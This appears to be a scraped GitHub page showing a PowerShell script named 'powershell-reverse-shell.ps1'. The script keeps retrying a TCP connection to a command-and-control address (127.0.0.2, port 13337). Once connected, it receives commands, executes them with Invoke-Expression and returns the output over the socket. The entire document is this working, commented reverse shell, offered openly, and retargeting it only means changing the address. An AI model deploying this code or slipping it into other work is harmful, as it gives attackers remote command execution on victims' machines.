-
Notifications
You must be signed in to change notification settings - Fork 23
/
powershell-reverse-shell.ps1
43 lines (35 loc) · 1.42 KB
/
powershell-reverse-shell.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
do {
# Delay before establishing network connection, and between retries
Start-Sleep -Seconds 1
# Connect to C2
try{
$TCPClient = New-Object Net.Sockets.TCPClient('127.0.0.2', 13337)
} catch {}
} until ($TCPClient.Connected)
$NetworkStream = $TCPClient.GetStream()
$StreamWriter = New-Object IO.StreamWriter($NetworkStream)
# Writes a string to C2
function WriteToStream ($String) {
# Create buffer to be used for next network stream read. Size is determined by the TCP client recieve buffer (65536 by default)
[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0}
# Write to C2
$StreamWriter.Write($String + 'SHELL> ')
$StreamWriter.Flush()
}
# Initial output to C2. The function also creates the inital empty byte array buffer used below.
WriteToStream ''
# Loop that breaks if NetworkStream.Read throws an exception - will happen if connection is closed.
while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {
# Encode command, remove last byte/newline
$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1)
# Execute command and save output (including errors thrown)
$Output = try {
Invoke-Expression $Command 2>&1 | Out-String
} catch {
$_ | Out-String
}
# Write output to C2
WriteToStream ($Output)
}
# Closes the StreamWriter and the underlying TCPClient
$StreamWriter.Close()